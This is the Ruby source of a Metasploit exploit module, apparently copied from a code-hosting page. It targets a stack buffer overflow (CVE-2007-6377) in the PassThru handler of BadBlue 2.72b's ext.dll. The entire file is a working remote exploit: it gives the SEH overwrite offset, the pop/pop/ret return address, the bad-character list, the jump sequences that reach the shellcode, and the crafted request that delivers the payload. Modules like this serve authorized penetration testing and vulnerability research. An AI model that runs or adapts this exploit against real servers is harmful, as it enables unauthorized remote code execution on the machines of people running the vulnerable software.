93 lines
2.9 KiB
Ruby
93 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
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# However, a proper Server header is returned when requesting /index.html or using HEAD.
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HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the PassThru
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functionality in ext.dll in BadBlue 2.72b and earlier.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2007-6377'],
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['OSVDB', '42416'],
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['BID', '26803'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
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'StackAdjustment' => -3500,
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#'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# This is the version being distributed on badblue.com as of Jul 7th 2010
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[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
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[ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ] # pop/pop/ret from ext.dll v1.0.0.1
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 10 2007'))
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end
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def exploit
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seh_offset = 4116
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#sploit = Rex::Text.pattern_create(seh_offset)
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sploit = rand_text(seh_offset)
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# Need to jump over the nul byte
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seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
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sploit << seh
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plen = payload.encoded.length
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sploit[seh_offset - 16 - plen, plen] = payload.encoded
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# This pointer will force a crash when it is used in a lock instruction
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ptr = rand_text(3)
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ptr << [0x80|rand(256)].pack('C')
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sploit[seh_offset - 8,4] = ptr
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# These two bytes get corrupted, so we can't use them.
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sploit << rand_text(2)
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# jump back to the payload
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distance = 2 + 8 + 16 + plen
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
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# Build the final URI
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uri = "/ext.dll?mfcisapicommand=PassThru&"
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uri << sploit
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print_status("Trying target %s..." % target.name)
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send_request_raw({ 'uri' => uri }, 5)
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handler
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disconnect
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end
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end
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